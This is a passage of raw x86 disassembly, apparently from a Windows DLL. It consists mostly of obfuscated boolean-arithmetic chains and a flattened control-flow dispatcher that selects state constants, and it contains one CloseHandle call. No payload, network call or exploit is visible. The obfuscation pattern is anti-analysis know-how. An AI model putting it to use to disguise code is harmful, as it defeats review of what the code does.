and eax, 0x6d440419
mov edi, ebx
mov dword [esp + 0xc], ebx
mov ecx, ebx
and ecx, 0x92bbfbe6
or ecx, eax
xor ecx, 0xa68645ae
and edi, 0xcbc241b7
or edi, ecx
mov eax, esi
and eax, 0xa30d55bf
mov ebx, esi
not ebx
mov dword [esp + 4], ebx
and ebx, 0x5cf2aa40
or ebx, eax
mov ebp, edi
not ebp
mov eax, edi
and eax, 0x8b423c30
xor edi, 0x1784ec1c
and edi, ebp
and ebp, 0x74bdc3cf
or ebp, eax
mov ecx, ebp
xor ecx, 0x74bdc3cf
mov eax, ecx
and eax, 0xe87b13e3
or edi, eax
mov eax, ebx
xor eax, 0x5cf2aa40
mov dword [esp + 0x10], eax
mov edx, ebx
xor edx, 0x4b76465c
and edx, eax
mov eax, edx
not eax
mov dword [esp + 8], eax
and dword [esp + 8], 0xd8388dab
and edx, 0x27c77254
add edx, dword [esp + 8]
or esi, 0xe87b13e3
or eax, esi
and esi, 0xd8388dab
and dword [esp + 4], 0x7846014
add dword [esp + 4], esi
mov esi, dword [esp + 4]
xor esi, edx
not eax
or eax, esi
xor eax, edi
xor ebx, 0xa30d55bf
mov edx, ebx
and edx, 0x70dc273b
mov esi, dword [esp + 0x10]
and esi, 0x8f23d8c4
or esi, edx
xor ebp, 0x8b423c30
or ebx, ebp
and ebp, 0x70dc273b
and ecx, 0x8f23d8c4
or ecx, ebp
xor ecx, esi
not ebx
or ebx, ecx
not ebx
or ebx, eax
mov ecx, ebx
not ecx
mov eax, ebx
xor eax, 0xb6417131
and eax, ebx
or ebx, 0x49be8ece
mov esi, eax
not esi
mov edx, ebx
and edx, 0x8cead83d
and ecx, 0x32012100
or ecx, edx
or ebx, esi
and esi, 0x8cead83d
and eax, 0x731527c2
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0x827ccf79
xor ebx, 0x7d833086
mov ecx, ebx
and ecx, 0x855af15e
and ebx, 0x7aa50ea1
and eax, 0x855af15e
or eax, ebx
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x8412093a
and eax, 0x1256404
or eax, ecx
xor eax, 0x1256404
and edx, 0x7ac892c1
or edx, eax
mov edi, dword [esp]
mov eax, edi
or eax, 0xc31800a2
mov ebx, dword [esp + 0xc]
mov ecx, ebx
or ecx, 0x20260358
and eax, 0xe33e03fa
mov esi, ebx
and esi, 0x4c0c005
or esi, eax
and ecx, 0xe33e03fa
mov eax, edi
and eax, 0x18013c00
or eax, ecx
xor eax, esi
mov esi, eax
xor esi, 0x1c010ca0
xor eax, 0xa0980002
and eax, 0xe2dac15e
and esi, 0x1d253ea1
or esi, eax
mov eax, esi
xor eax, 0xc212021
xor esi, 0xe2dac15e
mov ecx, esi
and ecx, 0x71ce1fcc
and eax, 0x8e31e033
or eax, ecx
mov ecx, edi
or esi, edi
and ecx, 0x71ce1fcc
mov edi, ecx
mov ecx, ebx
and ecx, 0x8e31e033
or ecx, edi
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
mov ecx, edx
not ecx
mov edi, esi
mov ebp, ecx
and ebp, 0x97aa709e
mov ebx, edx
and ebx, 0x68558f61
or ebx, ebp
mov ebp, eax
xor ebx, 0x97aa709e
or ebx, esi
and esi, 0x9e196b9a
and eax, 0x61e69465
or eax, esi
xor eax, ecx
and ecx, 0x6c2651ea
xor eax, 0x61e69465
and eax, edx
and edx, 0x93d9ae15
or edx, ecx
mov ecx, edx
xor ecx, 0x1011a004
and edi, 0xc91d9c18
and ebp, 0x36e263e7
or ebp, edi
mov esi, ebp
xor esi, 0x302261a4
xor edx, 0x6c2651ea
xor ebp, 0xc91d9c18
mov edi, edx
and edi, 0x87cc1e53
and ecx, 0x7833e1ac
or ecx, edi
or edx, ebp
and ebp, 0x87cc1e53
and esi, 0x7833e1ac
or esi, ebp
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
mov edi, eax
not edi
mov esi, edi
and esi, 0x9d2c399c
and eax, 0x62d3c663
or eax, esi
xor eax, ebx
xor eax, 0x62d3c663
or edi, ebx
not edi
or edi, eax
mov eax, edx
and eax, 0x9de901c1
xor edx, 0xcc65bd57
and edx, ecx
mov ebp, ecx
and ebp, 0x6216fe3e
or ebp, eax
mov eax, ebp
xor eax, 0x6216fe3e
mov ecx, ebp
xor ecx, 0x11880080
or ecx, 0xcc65bd57
xor ebp, 0x20100008
mov esi, edi
mov ebx, ecx
and ebx, 0xdb07dff6
and ebp, 0x20980008
or ebp, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0xdb07dff6
and edx, 0x24f82009
or edx, ebx
mov ebx, edi
xor ebx, 0x339a42a8
and ebx, edi
not edi
or esi, 0xcc65bd57
xor edx, ebp
not ecx
or ecx, edx
mov edx, esi
and edx, 0x6ae510f9
mov ebp, edi
and ebp, 0x111a4200
or ebp, edx
mov edx, ebx
not edx
or esi, edx
and edx, 0x6ae510f9
and ebx, 0x951aef06
or ebx, edx
xor ebx, ebp
not esi
or esi, ebx
mov ebx, esi
xor ebx, esi
not ebx
and ebx, ecx
xor ebx, esi
or edi, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0x6abb8446
and ebx, 0x95447bb9
or ebx, eax
xor ebx, edi
xor ebx, 0x95447bb9
or edx, edi
not edx
or edx, ebx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x91023407
mov esi, edx
and esi, 0x2c088020
or esi, ecx
xor esi, 0x2c088020
mov ecx, edx
and ecx, 0x42f54bd8
or ecx, esi
mov esi, ecx
xor esi, 0x4200
xor ecx, 0xbd0ab427
and esi, 0x1108f221
mov edi, ecx
and edi, 0xeef70dde
or edi, esi
xor edi, 0x40122d3
and ecx, 0x1509d0f2
or ecx, edi
mov esi, ecx
not esi
mov edi, eax
and edi, 0x37171913
and edx, 0xc8e8e6ec
or edx, edi
xor edx, 0xdde1361e
xor eax, edx
and eax, edx
mov dword [esp], eax
mov edx, ecx
and edx, 0xcc1adf9c
xor ecx, 0xbc67ba8
and ecx, esi
mov ebp, esi
and ebp, 0x33e52063
or ebp, edx
mov ebx, ebp
xor ebx, 0x33e52063
mov edi, eax
not edi
mov edx, edi
and edx, 0xf65f4ed3
mov esi, eax
and esi, 0x9a0b12c
or esi, edx
mov edx, esi
xor edx, 0x9a0b12c
or edx, ebx
mov ebx, ebp
xor ebx, 0xc4188414
or ebx, 0xbc67ba8
xor ebp, 0x30210041
mov eax, ebx
and eax, 0xc4d2c11a
and ebp, 0x30290445
or ebp, eax
mov eax, ecx
not eax
or ebx, eax
and eax, 0xc4d2c11a
and ecx, 0x3b2d3ee5
or ecx, eax
xor ecx, ebp
not ebx
or ebx, ecx
mov eax, esi
xor eax, 0x10090043
or eax, 0x2403080
xor esi, 0x208000
or edi, 0x10090047
and eax, 0x124930c7
and esi, 0xe4308410
or esi, eax
and edi, 0x124930c7
mov eax, dword [esp]
and eax, 0x9864b28
or eax, edi
xor eax, esi
xor eax, ebx
not edx
or edx, eax
mov eax, edx
xor eax, 0x6facde53
mov esi, edx
xor esi, 0x905321ac
mov ecx, eax
or ecx, 0xed7be075
xor edx, 0x7d28c1d9
and edx, eax
mov edi, ecx
and edi, 0x6d6fd661
mov ebx, esi
and ebx, 0x1280098a
or ebx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x6d6fd661
and edx, 0x9290299e
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x12841f8a
and esi, 0x4650270c
and eax, 0xb9afd8f3
or eax, esi
mov edi, eax
xor edi, 0xb9afd8f3
mov esi, ecx
xor esi, 0xed7be075
mov ebx, esi
and ebx, 0x728adffb
xor ecx, 0x600ec071
and ecx, edx
or ecx, ebx
mov ebx, eax
xor ebx, 0x2000500
and ebx, 0x32024573
xor eax, 0xcb250708
and eax, edi
and edi, 0x40889a88
or edi, ebx
xor edi, 0x40889a88
or eax, edi
xor eax, ecx
mov ecx, edx
and ecx, 0xb9237eda
and esi, 0x46dc8125
or esi, ecx
xor esi, eax
xor esi, 0x46dc8125
or eax, edx
not eax
or eax, esi
xor eax, 0x9b90882e
xor eax, 0x646f77d1
sete cl
setne bl
cmp dword [0x10047904], 0xa
setl ch
setge dl
mov eax, ebx
and al, dl
mov ah, ch
and ah, cl
or ah, al
mov dh, ah
xor dh, 1
mov byte [esp], dh
xor dh, ch
mov bh, dl
xor bh, bl
or bl, ch
and bh, ch
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
xor bh, dl
and bh, ch
or ch, ah
and dh, ah
xor dh, 1
mov al, dh
xor al, ch
or dh, ch
xor dh, 1
or dh, al
xor dh, byte [esp]
and dh, ah
or cl, dl
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
mov dl, bh
xor dl, 1
mov ah, dl
and ah, cl
and dl, al
and al, bh
or al, ah
mov ah, al
xor ah, cl
and ah, al
and bh, cl
or dl, bh
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor ch, 1
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
mov cl, dh
xor cl, 1
mov al, ch
xor al, 1
mov byte [esp + 4], al
mov dl, dh
and dl, cl
mov ebx, ecx
mov byte [esp], cl
xor dl, 1
mov ah, dl
xor ah, dh
mov cl, dl
or cl, dh
xor cl, 1
or cl, ah
xor cl, 1
or cl, bl
mov ah, cl
xor ah, 1
mov ebx, eax
and bl, ch
xor bl, 1
or bl, ch
xor bl, 1
or bl, al
mov bh, cl
and bh, ah
xor bh, 1
or bh, ah
xor bh, 1
or bh, cl
mov al, byte [esp]
xor bh, al
xor cl, al
or ah, al
mov al, cl
xor al, ah
or ah, cl
mov cl, bh
xor cl, 1
xor ah, 1
or ah, al
mov al, ah
xor al, 1
and al, bh
or bh, ah
xor bh, 1
and ah, cl
or ah, al
or ah, bh
mov bh, ah
xor bh, 1
mov cl, bl
or cl, bh
xor bh, bl
mov al, bl
xor al, 1
mov bl, al
xor bl, ah
xor cl, 1
or cl, bl
mov bl, cl
xor bl, 1
or ah, al
xor ah, 1
or ah, bh
mov bh, cl
and bh, bl
xor bh, 1
mov al, bl
xor al, bh
or bh, bl
xor bh, 1
or bh, al
xor cl, ah
xor ah, 1
or bl, ah
xor bl, 1
or bl, cl
xor ah, bh
mov al, ah
xor al, bl
or ah, bl
xor ah, 1
or ah, al
or dl, byte [esp]
xor dl, 1
or dl, dh
mov cl, dl
xor cl, 1
mov al, cl
xor al, ch
and cl, ch
mov ch, dl
mov dh, byte [esp + 4]
xor ch, dh
and ch, dl
and dl, dh
or dl, cl
mov cl, al
xor cl, 1
or dl, ch
mov ch, dl
xor ch, 1
and ch, al
or al, dl
xor al, 1
and dl, cl
or dl, ch
or dl, al
mov ecx, edx
xor cl, 1
mov ch, ah
xor ch, 1
mov al, ch
and al, ah
xor ch, al
xor al, 1
or al, ah
xor al, 1
or al, ch
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov cl, ah
xor cl, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
and dl, ch
mov ch, al
xor ch, 1
and al, cl
and ah, ch
or ah, al
or cl, ch
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
mov ch, al
mov ah, dl
or al, dl
xor dl, 1
and ch, dl
and ah, cl
or ah, ch
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x7627a79
mov edx, 0xb209d977
cmovne ecx, edx
test al, 1
mov edi, 0x7627a79
cmovne edi, ecx
test ah, 1
cmove edi, ecx
jmp 0x10008b80
cmp edi, 0x6911691b
je 0x100236e9
cmp edi, 0x6d6c31f7
jne 0x10008b80
mov edi, 0x1983f8fb
jmp 0x10008b80
cmp edi, 0xd182dc61
je 0x10023ed7
cmp edi, 0xe259af3c
jne 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10047900]
lea edi, [eax + 1]
imul edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xb9546e5b
mov edx, edi
and edx, 0x46ab91a4
or edx, ecx
mov esi, edx
xor esi, 0x4221100
xor edx, 0xa1546e0a
mov ecx, edi
xor ecx, 0xe7767f0a
and ecx, edi
mov ebp, edi
mov ebx, edx
or ebx, 0x8088054
mov edi, ecx
not edi
and ebx, 0xca5c825e
and esi, 0x25227d00
or esi, ebx
or edx, edi
and edi, 0xca5c825e
and ecx, 0x35a37da1
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
not ecx
and ecx, 0x8898044
and edx, 0xc3562002
or edx, ecx
mov ecx, eax
or ecx, 0xcbdfa046
mov esi, ecx
not esi
mov ebx, edx
not ebx
and ebx, 0x8a137427
mov edi, edx
and edi, 0x41cc8040
or edi, ebx
xor edi, 0x75ec8bd8
and ecx, 0xc73844e
mov ebx, ebp
xor ebp, 0x342015b0
and ebp, esi
and esi, 0x30005bb1
or esi, ecx
mov ecx, esi
xor ecx, 0xf38c7bb1
xor esi, 0xb21a31fa
and esi, ecx
or ecx, edi
and edi, 0xbe69b5b4
and edx, 0x41960042
or edx, edi
or ebp, esi
mov esi, ebp
xor esi, ebp
not esi
and esi, edx
xor esi, ebp
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0x34205fb9
mov edi, eax
and edi, ebx
mov ebp, ebx
xor ecx, 0xcbdfa046
mov esi, edx
and esi, 0x5a00a781
mov ebx, ecx
and ebx, 0x20400002
or ebx, esi
mov esi, ebx
xor esi, 0x20400000
xor ebx, 0x17328ad8
or edx, 0x12008282
and ebx, 0x17328ada
and esi, 0x68402501
or esi, ebx
and edx, 0x17328ada
and ecx, 0x808d5024
or ecx, edx
xor ecx, esi
mov edx, ecx
xor edx, 0x20306400
xor ecx, 0x8c38b09
and ecx, 0x4cc39bb9
and edx, 0xb33c6446
or edx, ecx
mov ecx, edx
xor ecx, 0xb33c6446
xor edx, 0x44c38b11
and edx, 0xf6dfcb53
mov esi, ecx
and esi, 0x92034ac
or esi, edx
xor esi, 0x1750e79f
and ecx, 0xe18f2ccc
or ecx, esi
mov edx, ecx
not edx
mov dword [esp + 0x18], edx
and eax, 0xe1010c8c
and ebp, 0x8e2040
or ebp, eax
xor ebp, 0x8e2040
or ebp, edi
mov edx, ebp
or edx, 0x1e70d333
or ebp, 0x7ef3ff3f
mov eax, edx
xor eax, 0x936c42d0
and eax, edx
not edx
mov esi, eax
not esi
mov edi, ebp
and edi, 0x26f174d6
and edx, 0x910c0200
or edx, edi
or ebp, esi
and esi, 0x26f174d6
and eax, 0xd90e8b29
or eax, esi
xor eax, edx
not ebp
or ebp, eax
mov eax, ebp
xor eax, 0x2c12200d
xor ebp, 0x936c42d0
mov edx, ebp
and edx, 0x53a59f72
and eax, 0xac5a608d
or eax, edx
xor eax, 0x53a59f72
xor ebp, eax
and ebp, eax
mov eax, ecx
and eax, 0x901100c0
mov esi, dword [esp + 0x18]
mov edx, esi
and edx, 0x4688853b
or edx, eax
xor edx, 0x4688853b
mov eax, ecx
xor eax, 0x29667a04
and eax, esi
or edx, eax
not eax
and eax, 0x29667a04
and edx, 0xd69985fb
or edx, eax
mov edi, edx
mov eax, ebp
not eax
mov esi, ebp
xor esi, 0x12309d43
and esi, ebp
mov edx, eax
and edx, 0x367d4a54
mov ebx, ebp
and ebx, 0xc982b5ab
or ebx, edx
not ebx
or ebx, eax
mov dword [esp + 8], ebx
and eax, 0x10209003
and ebp, 0x2100d40
or ebp, eax
xor ebp, 0x2100d40
or ebp, esi
not esi
and esi, 0xedcf62bc
and ebp, 0x12309d43
or ebp, esi
mov edx, edi
mov dword [esp], edi
mov esi, edi
not esi
mov dword [esp + 4], esi
mov eax, esi
and eax, 0x5c346588
and edx, 0xa3cb9a77
or edx, eax
xor edx, 0x95b6d023
mov ebx, edx
xor ebx, esi
and ebx, edx
and ecx, 0x418095a9
mov edx, dword [esp + 0x18]
and edx, 0x88022002
or edx, ecx
mov eax, ebp
not eax
mov dword [esp + 0xc], eax
and eax, 0xd756c4d1
mov ecx, ebp
and ecx, 0x28a93b2e
or ecx, eax
mov dword [esp + 0x10], ecx
mov ecx, ebx
xor ecx, 0x68f7cdad
and ecx, ebx
mov esi, ebx
not ebx
or esi, 0x97083252
mov eax, esi
and eax, 0xadd5e465
mov edi, ebx
and edi, 0x40220988
or edi, eax
mov eax, ecx
not eax
or esi, eax
and eax, 0xadd5e465
and ecx, 0x522a1b9a
or ecx, eax
xor ecx, edi
not esi
or esi, ecx
xor edx, 0x88022002
lea ecx, [edx + 0x367d4a54]
mov dword [esp + 0x14], ecx
mov eax, ecx
xor eax, 0x97083252
and eax, ecx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x9602b30b
and eax, 0x49d504a4
or eax, edi
or edx, 0x7effcffd
or ecx, edx
and edx, 0xb622fb0b
mov edi, dword [esp + 0x18]
and edi, 0x1000000
or edi, edx
xor edi, eax
not ecx
or ecx, edi
xor ecx, esi
or ebx, dword [esp + 0x14]
mov esi, ecx
not esi
mov eax, esi
and eax, 0x18fb3783
and ecx, 0xe704c87c
or ecx, eax
or esi, ebx
and ebx, 0xd9fbb7ab
xor ebx, ecx
xor ebx, 0xc1008028
not esi
or esi, ebx
mov ecx, dword [esp + 0x10]
xor ecx, 0xe12b8e85
mov ebx, dword [esp + 0xc]
or ecx, ebx
mov eax, ecx
xor eax, ecx
not eax
mov edx, dword [esp + 8]
and eax, edx
xor eax, ecx
or ecx, edx
mov edx, eax
not edx
mov edi, edx
and edi, 0x399dde2
and eax, 0xfc66221d
or eax, edi
xor eax, ecx
or edx, ecx
xor eax, 0xfc66221d
not edx
or edx, eax
mov ecx, esi
not ecx
mov edi, edx
not edi
mov eax, edi
xor eax, ecx
and eax, edx
and edi, 0xd0734d58
and edx, 0x2f8cb2a7
or edx, edi
xor edx, ecx
xor edx, 0x2f8cb2a7
and edx, esi
or edx, eax
mov eax, dword [esp + 4]
mov ecx, eax
mov esi, ebx
or ecx, ebx
and eax, 0xe1ebcd0a
mov edi, eax
mov eax, dword [esp]
and eax, 0x1e1432f5
or eax, edi
and esi, 0xe1ebcd0a
and ebp, 0x1e1432f5
or ebp, esi
xor ebp, eax
mov eax, ebp
not eax
mov esi, eax
and esi, 0x52a41ab9
and ebp, 0xad5be546
or ebp, esi
xor ebp, ecx
xor ebp, 0xad5be546
or eax, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x1d6a3ac0
and ecx, eax
and eax, 0xe295c53f
or eax, esi
xor eax, 0xe295c53f
or eax, ecx
mov esi, edx
not esi
mov edi, esi
and edi, 0x2807dff
mov ecx, edx
xor ecx, 0x2807dff
and ecx, edx
or ecx, edi
xor ecx, eax
xor ecx, 0x2807dff
mov edi, edx
and edi, 0x7928f84
and esi, 0xf86d707b
or esi, edi
xor esi, eax
xor esi, 0xf86d707b
or eax, edx
not eax
or eax, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov edi, ecx
not edi
mov esi, eax
and esi, 0xef1bf941
mov ebx, edx
and ebx, 0x10e406be
or ebx, esi
mov esi, eax
or esi, edi
and edi, 0xef1bf941
and ecx, 0x10e406be
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x84d2f57
mov edi, ecx
and edi, 0xf7b2d0a8
or edi, esi
xor edi, 0x163dfc64
and ecx, 0x1e70d333
or ecx, edi
mov esi, ecx
not esi
mov edi, edx
and edi, 0xe18f2ccc
and eax, 0x1e70d333
or eax, edi
xor edx, eax
and edx, eax
mov edi, edx
not edi
mov eax, esi
xor eax, edi
and eax, esi
and ecx, 0x3adc3290
and esi, 0xc523cd6f
or esi, ecx
and edi, 0x3adc3290
and edx, 0xc523cd6f
or edx, edi
xor edx, esi
mov ecx, eax
not ecx
mov esi, edx
not esi
mov edi, ecx
and edi, 0x4ae88c43
and eax, 0xb51773bc
or eax, edi
or ecx, esi
and esi, 0x4ae88c43
and edx, 0xb51773bc
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xd0fb5a9c
mov edi, edx
and edi, 0x2f04a563
or edi, eax
mov eax, edi
xor eax, 0xd0fb5a9c
mov ebx, edi
xor ebx, 0x2f04a563
xor edi, 0x6c0587df
and ebx, edi
and edi, eax
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0x91e5ae8c
and ebx, 0x6e1a5173
or ebx, ebp
mov ebp, edi
not ebp
or esi, ebp
and ebp, 0x91e5ae8c
and edi, 0x6e1a5173
or edi, ebp
xor edi, ebx
not esi
or esi, edi
xor esi, 0xbcfedd42
and eax, 1
or eax, esi
mov edi, eax
not edi
mov ebx, edi
and ebx, 0x20080a0c
and esi, 0x80242110
or esi, ebx
xor esi, 0x80242110
not ebx
or edi, 0x20000a04
and ebx, 0x39100ac4
and esi, 0x802c2118
or esi, ebx
and edi, 0x39100ac4
and eax, 0x46c3d423
or eax, edi
xor eax, esi
mov esi, eax
xor esi, 0x34340c0
xor eax, 0xc0b18
and esi, 0xa36360c4
and eax, 0x5c9c9f3b
or eax, esi
mov edi, eax
mov esi, eax
xor edi, 0x5c9c9f3b
mov dword [esp + 0x18], edi
mov eax, edx
mov edi, edx
and edi, 0x3930580
mov ebx, ecx
and ebx, 0x9c407814
or ebx, edi
mov edi, ebx
xor edi, 0x84405004
xor ebx, 0x28448
or edx, 0x18022c10
and ebx, 0x1802ac58
and edi, 0x87d15184
or edi, ebx
and edx, 0x1802ac58
mov ebp, ecx
and ebp, 0x602c0223
or ebp, edx
xor ebp, edi
mov ebx, ebp
xor ebx, 0x2c8262
xor ebp, 0x6c30d14
and ebp, 0x66c30d1d
and ebx, 0x993cf2e2
or ebx, ebp
mov edi, ebx
xor edi, 0x80284282
xor ebx, 0x60c10800
and ebx, 0x79d5b860
and edi, 0x862a479f
or edi, ebx
mov edx, edi
xor edx, 0x7c59204c
xor edi, 0x862a479f
and edi, edx
mov edx, eax
and edx, 0x58c982c
and ecx, 0xfa7367d3
or ecx, edx
xor eax, ecx
and eax, ecx
mov ecx, eax
not ecx
mov edx, edi
xor edx, ecx
and edx, edi
xor ecx, eax
and ecx, edi
xor ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0xfa7367d2
xor ecx, 0x58c982d
mov edi, ecx
and edi, 0x18595633
xor esi, 0xa36360c4
mov ebp, esi
and ebp, 0x68019bc6
mov edx, dword [esp + 0x18]
mov ebx, edx
and ebx, 0x97fe6439
or ebx, ebp
xor ebx, ecx
xor ebx, 0x97fe6439
and ebx, eax
and eax, 0xe7a6a9cc
or eax, edi
mov edi, esi
and edi, 0xc456e215
mov ebp, edx
and ebp, 0x3ba91dea
or ebp, edi
mov edx, eax
xor edx, 0x23a009c8
xor eax, 0x504211
and eax, 0xc456e215
and edx, 0x3ba91dea
or edx, eax
xor edx, ebp
mov edi, edx
xor edi, esi
and edi, edx
xor esi, ecx
and esi, dword [esp + 0x18]
or esi, ebx
mov edx, edi
not edx
mov ecx, esi
xor ecx, 0x2cebacde
and ecx, esi
mov eax, esi
not eax
mov esi, edx
and esi, 0x2cebacde
and edi, 0xd3145321
or edi, esi
or edx, eax
and eax, 0x2cebacde
or ecx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, edi
xor eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x40b4a3c3
and eax, 0xbf4b5c3c
or eax, esi
xor eax, edx
xor eax, 0xbf4b5c3c
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x33f38409
mov edx, ecx
xor edx, 0x33f38409
and edx, ecx
or edx, esi
mov esi, edx
xor esi, 0x800c53d0
xor edx, 0x32210401
and esi, 0x81ded3d8
and edx, 0x7e212c27
or edx, esi
mov ebx, edx
xor ebx, 0x7e212c27
mov esi, edx
xor esi, 0x81ded3d8
xor edx, 0x5e3ec429
and edx, esi
mov edi, ebx
and edi, 0xdfe017f1
or edi, edx
xor edi, 0x201fe80e
and ebx, 0x32798ee5
mov edx, esi
and edx, 0xcd86711a
or edx, ebx
xor edx, 0xcd86711a
or edx, esi
not edx
or edx, edi
mov esi, edx
xor esi, 0xca23f9db
and esi, edx
not edx
or edx, esi
not esi
and esi, 0x35dc0624
and edx, 0xca23f9db
or edx, esi
mov ebx, edx
not ebx
mov edi, edx
xor edi, 0xb7a29b64
and edi, ebx
or ebx, 0xb7a29b64
mov esi, edi
not esi
mov ebp, esi
and ebp, 0x109ff91e
and edi, 0xef6006e1
or edi, ebp
or esi, ebx
and ebx, 0x109ff91e
and edx, 0x48400481
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
xor edx, 0x12808344
xor esi, 0x48592401
and esi, 0xed7b3c21
and edx, 0x1284c3de
or edx, esi
mov esi, edx
xor esi, 0x1084839c
xor edx, 0x254b3c21
and esi, 0xd8b4839c
and edx, 0x274b7c63
or edx, esi
mov ebp, edx
xor ebp, 0xd8b4839c
xor edx, 0x274b7c63
mov esi, eax
and esi, 0x34943efc
mov edi, ecx
and edi, 0xcb6bc103
or edi, esi
mov esi, edi
xor esi, 0x82600000
xor edi, 0x4140208
or eax, 0x441fc208
or edi, 0x39800920
and edi, 0x7d9fcb28
and esi, 0x82603490
or esi, edi
and eax, 0x7d9fcb28
and ecx, 0x47
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0x39800967
xor ecx, 0xc67ff698
mov esi, ecx
and esi, 0x21a49e7f
mov edi, eax
and edi, 0xde5b6180
or edi, esi
and eax, 0x21a49e7f
and ecx, 0xde5b6180
or ecx, eax
xor ecx, edi
mov eax, ecx
not eax
and eax, 0xb5008fed
and ecx, 0x4aff7012
or ecx, eax
mov eax, ecx
xor eax, 0x300083c4
xor ecx, 0x48ff5000
and ecx, 0xcdff5c29
and eax, 0x3200a3d6
or eax, ecx
mov esi, eax
mov eax, edx
and eax, 0x18c848d3
mov ecx, ebp
and ecx, 0xe737b72c
or ecx, eax
mov dword [esp + 4], ecx
mov edi, ecx
xor edi, 0x18c848d3
mov dword [esp + 8], edi
mov ebx, ecx
xor ebx, 0xe737b72c
mov eax, ebx
mov dword [esp + 0xc], ebx
and eax, 0x472751ef
mov ecx, edi
and ecx, 0xb8d8ae10
or ecx, eax
xor ecx, 0x61310be9
mov eax, ecx
xor eax, ebx
and eax, ecx
mov ecx, ebp
and ecx, 0xd9e9a5f9
and edx, 0x26165a06
or edx, ecx
xor ebp, edx
and ebp, edx
mov ebx, esi
mov dword [esp], esi
mov ecx, esi
xor ecx, 0x3200a3d6
mov dword [esp + 0x18], ecx
xor ebx, 0xcdff5c29
mov edx, ebx
and edx, 0x3e146f9
mov esi, ecx
and esi, 0xfc1eb906
or esi, edx
xor esi, 0x25f71cff
mov edx, ecx
and edx, 0x26165a06
or esi, edx
mov ecx, esi
mov esi, ebx
and esi, 0xd9e9a5f9
or esi, edx
mov edx, esi
xor edx, ebx
and edx, esi
mov edi, edx
mov esi, eax
xor esi, 0x2b74624b
and esi, eax
not eax
mov edx, eax
and edx, 0x2b74624b
or esi, edx
mov edx, ebp
not edx
or eax, edx
and edx, 0x2b74624b
and ebp, 0xd48b9db4
or ebp, edx
mov edx, ebp
xor edx, ebp
not edx
and edx, esi
xor edx, ebp
mov ebp, edx
not ebp
mov esi, ebp
and esi, 0xd4edf774
and edx, 0x2b12088b
or edx, esi
mov esi, eax
not esi
or ebp, eax
and eax, 0xd4edf774
and esi, 0x2b12088b
or esi, eax
xor esi, edx
not ebp
or ebp, esi
mov dword [esp + 0x10], ebp
mov edx, edi
mov dword [esp + 0x14], edi
mov ebp, edi
not ebp
mov eax, ebp
and eax, 0xd13a2fcf
and edx, 0x2ec5d030
or edx, eax
mov eax, edx
xor eax, 0x2ec5d030
mov edi, ecx
xor edi, 0xacbb294f
mov esi, edi
and esi, ecx
xor edx, 0x827ef97f
and edx, eax
or eax, ecx
mov dword [esp + 0x1c], eax
mov eax, ecx
not eax
and edi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x6369ca5f
and esi, 0x9c9635a0
or esi, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0x6369ca5f
and edi, 0x9c9635a0
or edi, ecx
xor edi, esi
not eax
or eax, edi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x3ff3f8b6
and edx, 0xc00c0749
or edx, esi
or ebp, 0x5344d6b0
or ecx, ebp
and ebp, 0x3ff3f8b6
mov esi, dword [esp + 0x14]
and esi, 0x80080149
or esi, ebp
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xa1da2f84
and edx, 0x5e25d07b
or edx, ecx
mov ecx, dword [esp + 0x1c]
xor edx, ecx
or eax, ecx
xor edx, 0x5e25d07b
not eax
or eax, edx
mov ecx, eax
not ecx
mov ebp, eax
xor ebp, 0xa3483870
and ecx, ebp
and ebp, eax
or ebp, ecx
xor ebp, dword [esp + 0x10]
mov edi, dword [esp + 4]
xor edi, 0xb2ca7ee7
mov edx, dword [esp + 8]
and edi, edx
mov eax, dword [esp + 0xc]
and eax, 0x9d5df61c
and edx, 0x62a209e3
or edx, eax
mov esi, edx
xor esi, 0x88003614
or esi, 0x55fdc9cb
mov eax, edx
xor edx, 0x22000020
mov ecx, esi
and ecx, 0xc5564f52
and edx, 0x2a003024
or edx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0xc5564f52
